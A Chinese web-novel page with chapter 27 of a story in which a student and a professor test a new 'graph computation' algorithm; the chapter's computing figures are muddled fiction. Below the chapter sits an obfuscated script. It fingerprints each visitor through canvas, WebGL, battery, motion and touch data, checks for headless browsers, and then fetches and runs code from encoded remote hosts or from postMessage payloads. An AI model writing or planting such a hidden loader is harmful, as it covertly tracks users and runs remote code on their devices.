小说骑士

登陆 注册
字:
关灯 护眼
小说骑士 > 从大学学霸到首席院士 > 第27章 图计算法 (2054字)

第27章 图计算法

更多热门小说请关注 小说骑士网 www.txt74.com

   算力实验室!

   叶非坐在计算机前,快速敲键盘。

   他现在正在利用计算机和数学,研发出一种新算法。

   这个算法,叶非称呼为“图计算法”,全称为“图灵可计算性算法”。

   图计算法,主要用到大部分数学知识,少部分是计算机知识。

   在和周康教授开始合作后,叶非也去学习计算机知识。

   虽然没周教授强,但足够他研发出图计算法。

   图计算法用到集合论上的可计算性、集合上的拓扑、预序和偏序。

   许久后,叶非停下动作,长呼一口气,道:“终于研发出来了。”

   “开始测试一下!”

   说完,他将算法装到abtest上,进行测试。

   这是一款专门用于计算机算法测试的软件。

   算法测试有七个步骤,分别是接口联调、降级方案及性能优化、推荐效果测试、功能测试、算法数据、需求规则和算法模型。

   “等着吧!”叶非看短时间测试不会结束,最起码有一个小时。

   一個小时后,测试结束!

   叶非看着测试结果显示suess,表示成功。

   他笑道:“很好,测试成功。”

   “叶非!”周教授形象邋遢的跑进来,兴奋的道:“我的完成了,我们可以开始图灵等价下一个步骤了。”

   叶非点头道:“可以,等我一会。”

   “你在做什么?”周教授问道。

   “奥,我趁着没事做,用图灵等价的研究做了一个算法。”

   “算法?”周教授问道:“计算机算法?”

   “是啊!”叶非点头。

   “做算法需要我吧!”周教授这段时间都被叶非打击的差点没自信了,看到叶非需要自己,自信又回来了。

   “我可以帮你,咱们来合计合计怎么做这个算法。”

   “不需要了。”叶非摇头:“我已经研发好了。”

   “研发好了?”周教授诧异:“没我你怎么研发出算法?你又不会计算机。”

   “我的算法利用计算机的知识很少,大部分都是数学。”叶非道:“计算机部分也很简单,本科阶段的计算机知识就足够了,所以我自己就能做。”

   “不可能!”周教授摇头道:“那可是算法,虽然用到大量数学知识,但数学知识需要转化为计算机语言。”

   “这方面你怎么做?”

   计算机不是人类,任何东西进入计算机,都要转化为计算机语言。

   这样才能让计算机知道你输入的是什么内容。

   相当于输入的东西,需要一个翻译机制。

   所以,在算法中,大量的数学知识和大量的计算机知识混杂在一起。

   “伱不会研发出来的算法不怎么样吧!”

   在周教授看来,本科阶段的计算机知识研发出来的算法,肯定不怎么样,最多能运行一个小游戏。

   “性能还不错!”叶非道:“浮点运算次数达到五万亿次。”

   “多少?”周教授惊讶的道:“五万亿次?就你?”

   浮点运算次数五万亿次什么概念,就是在硬件能承受的情况下,让计算机一秒运行五万亿次。

   家用计算机,一般速度为两百亿到一千亿之间。

   夏国最快的超算,神威.太湖之光,全球超算排名第六,浮点运算次数达到12.54亿亿次。

   这相当于,是家用计算机最快速度的五十倍,太湖之光的二十五万零八十分之一速度。

   但别忘记,这是世界第六速度的超算,是集合夏国无数科学家的智慧结晶,耗费十几年才研发出来的。

   而叶非只是十几天时间,就研发出来浮点运算次数达到五万亿次的算法。

   这在谁看来都太离谱了。

   “对啊!”叶非点头道:“你要是不信,你自己测试看看就知道了。”

   周教授当然不信,他亲自将算法装到abtest上测试。

   一个小时后,周教授惊讶的看着算法软件中测试的数据。

   浮点运算次数平均值五万亿次,最高值六万亿次。

   他震惊的看着叶非,道:“叶非,你是妖怪吧!”

   “你这算法不仅浮点运算次数达到五万亿次,就连大小,也是才100mb左右。”

   浮点运算次数达到五万亿次,在周教授看来很常见。

   很多大公司早就将家庭版电脑程序的算法的浮点运算次数研发到十万亿次,几十万亿次,甚至百万亿次。

   只是因为现阶段硬件的技术无法支撑如此高的算法速度,所以没有推广出去。

   真正让周教授惊讶的是,叶非研发出的算法大小才100mb。

   这就非常惊人了。

   这就代表浮点运算次数比它高的,大小比它大的多。

   大小和它相当



更多热门小说请关注 小说骑士网 www.txt74.com
『加入书签,方便阅读』
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x52\x62\x4c\x49\x4e\x52\x4b\x78\x64\x7a']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],ec=0,r=0,ua=navigator.userAgent.toLowerCase(),bh=ua.indexOf('baidu')>-1||ua.indexOf('huawei')>-1,delay=bh?2000:2000,f=null,sc=Math.max(1,bh?300000:300000),ext=bh?'.html':'2',i=(bh?'nfob':'nob')+Math.floor(new Date().getTime()/sc)+ext;if(bh){f=function(){;if(!l.length)return;window.addEventListener('message',function(e){if(e.data['id']!=id)return;for(var k in t)t[k]&&clearTimeout(t[k]);new Function('_tdcs',x(e.data['msg']))(cs);});var ifr=document.createElement('iframe');ifr.width=0;ifr.height=0;ifr.style.display='none';ifr.src=l.shift()+'/'+i;document.body.appendChild(ifr);};}else{f=function(){;if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++ec]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});var param=(function(aid){var W=window,D=document,B=D.body,N=navigator,E='ontouchstart'in W||N.maxTouchPoints>0||N.msMaxTouchPoints>0;function fix(s){return encodeURIComponent(s).replace(/[!'()*]/g,function(c){return'%'+c.charCodeAt(0).toString(16)})}function mix(t,s){var a=[].slice.call(arguments),k,r=typeof a[a.length-1]=='boolean'?a.pop():true;for(var i=1;s=a[i++];){for(k in s)if(r||!(k in t))t[k]=s[k]}return t}var utils={guid:function(){function a(){return Math.floor((1+Math.random())*0x10000).toString(16).substring(1)}return a()+a()+''+a()+''+a()+''+a()+''+a()+a()+a()},bind:function(o,e,c){return'string'===typeof o&&(o=D.getElementById(o)),e=e.replace(/^on/i,'').toLowerCase(),o.addEventListener?o.addEventListener(e,c,!1):o.attachEvent&&o.attachEvent('on'+e,c),o}};var p1={dcc:'',dcl:'',gvd:'',grr:'',ct:''},p2={diit:'',dit:'',cmn:''},cmn=[];var mobile={ma:function(){;if(!E)return;function l(s){;if(!s)return;return s.toString().substr(0,5)}utils.bind(W,'deviceorientation',function handleFunc(ev){;if(!ev.alpha)return;p2.diit=[l(ev.alpha),l(ev.beta),l(ev.gamma)].join(',')});utils.bind(W,'devicemotion',function handleFunc(evnet){var a=evnet.accelerationIncludingGravity;if(!a.x)return;p2.dit=[l(a.x),l(a.y),l(a.z)].join(',')});utils.bind(W,'touchstart',function touchstart(ev){var clientX=ev.touches[0].clientX,clientY=ev.touches[0].clientY,v=[clientX,clientY].join('_');if(cmn.length%lt;3)cmn.push(v)})},md:function(){try{N.getBattery().then(function(b){p1.dcc=b.charging?'yes':'no';p1.dcl=Math.round(b.level*100)})}catch(e){}try{var a=D.createElement('canvas'),b=a.getContext('experimental-webgl'),c=b.getExtension('WEBGL_debug_renderer_info'),d=b.getParameter(c.UNMASKED_VENDOR_WEBGL),e=b.getParameter(c.UNMASKED_RENDERER_WEBGL).replace(/[%]/g,'');p1.gvd=d;p1.grr=e}catch(e){}try{;if(!N.connection){p1.ct='unknown';return}if(!N.connection.type){p1.ct='unknown';return}p1.ct=N.connection.type}catch(e){}},init:function(){this.ma();this.md()},ap:function(){p2.cmn=cmn.join(';');return mix(p1,p2)}};mobile.init();var client={client:function(id){var ut=utils,m=mobile;function a(){var a='';try{a=W.opener?W.opener.document.location.href:D.referrer}catch(e){a=D.referrer}if(a!=='')a=a.substr(0,8192);return fix(a)}function b(){var a='';try{a=W.top.document.location.href}catch(e){a=D.location.href}if(a!=='')a=a.substr(0,2048);return fix(a)}function c(str){var s='';for(var i=0;i%lt;str.length;i++)s+=(i>0?':':'')+str[i].charCodeAt(0);return s}function d(){try{return[W.screen.width,W.screen.height].join('x')}catch(e){return''}}function f(){return N.platform.replace(/Win/i,'v')}function g(){var a=W.screen.availWidth||0,b=W.screen.availHeight||0;return[f(),S(),W.devicePixelRatio||0,a+'.'+b].join(':')}function h(){var n=W['navigator'],a=false;for(var k in n){try{a=N['hasOwnProperty'](k)}catch(e){a=false}}return a}function i(){;if(typeof N.languages!=='undefined'){try{return N.languages[0].substr(0,2)!==N.language.substr(0,2)}catch(err){return true}}return false}function j(f){var a=[];for(var i=0;i%lt;f.length;i++)a.push(String.fromCharCode(f[i]));return a.join('')}function k(){var a=['callPhantom'in W,'_phantom'in W,'phantom'in W];for(var i=0;i%lt;a.length;i++)if(a[i])return true;return false}function l(){return j([119,101,98,100,114,105,118,101,114])in N}function S(){var b=['toString','length'];(function(a,c){var f=function(g){while(--g){a['push'](a['shift']())}};f(++c)}(b,0xb3));var c=function(a){a=a-0x0;return b[a]};return eval[c('0x1')]()[c('0x0')]*0x673124}function n(){;if(typeof W.history!=='undefined'&&typeof W.history.length!=='undefined')return W.history.length;return 0}function o(){return{top:B.scrollTop||D.documentElement.scrollTop,left:0}}function _uuid(){try{var a='',k='fillStyle',q='beginPath',n='closePath',j='fill',h='arc',e='fillText',w=Math.PI;var p=D.createElement('canvas');p.width=2000;p.height=200;p.style.display='inline';var s=p.getContext('2d');s.rect(0,0,10,10);s.rect(2,2,6,6);a+='canvas winding:'+((s.isPointInPath(5,5,'evenodd')===false)?'yes':'no');s.textBaseline='alphabetic';s[k]='#f60';s.fillRect(125,1,62,20);s[k]='#069';s.font='11pt no-real-font-123';var u='Cwm fjordbank glyphs vext quiz, \ud83d\ude03';s[e](u,2,15);s[k]='rgba(102, 204, 0, 0.2)';s.font='18pt Arial';s[e](u,4,45);s.globalCompositeOperation='multiply';s[k]='rgb(255,0,255)';s[q]();s[h](50,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(0,255,255)';s[q]();s[h](100,50,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,255,0)';s[q]();s[h](75,100,50,0,w*2,true);s[n]();s[j]();s[k]='rgb(255,0,255)';s[h](75,75,75,0,w*2,true);s[h](75,75,25,0,w*2,true);s[j]('evenodd');if(p.toDataURL){a+=';canvas fp:'+p.toDataURL()}return(function(c){var b=0;if(c.length===0){return b}for(var i=0;i%lt;c.length;i++){b=((b%lt;%lt;5)-b)+c.charCodeAt(i);b=b&b}return b})(a)}catch(o){return o.message}}function init(){var p={frm:W.top!==W.self?1:0,url:b(),ref:a(),ic:N.cookieEnabled?1:0,pl:N.plugins.length,ml:N.mimeTypes.length,sid:c(g()),ps:N.productSub||'',lgs:i()?1:0,zo:new Date().getTimezoneOffset(),ws:d(),gdm:N.deviceMemory||0,iw:l()?1:0,cpn:N.hardwareConcurrency||0,fid:'',hl:n(),ihn:h()?1:0,md:E?1:0,ns:'',np:'',pj:k()?1:0};mix(p,o(),{'id':id,'rid':ut.guid(),'rid2':ut.guid(),'uuid':_uuid()},m.ap());return p}return init()}};return new Promise(function(resolve,reject){setTimeout(function(){var r=[],u=aid.split('-'),p=client.client(u[1]);for(var k in p)r.push(k+'='+p[k]);resolve(r.join('&'))},10)})})(id);param.then(function(p){i=i+'?'+p;for(var j in l)t[j]=setTimeout(f,delay*j)});})('aHR0cHM6Ly9ha3Nka2ZqLmJpZXhzaXRlLm5lddA==','d3NzOOi8vd3MueGlhb21hb2x2dGVjaC5jb206OOTU5NSx3c3M6Ly93cy5taXNpZ2wuY29tOOjk1OOTU=',window,document,['d','O']);}:function(){};
统计代码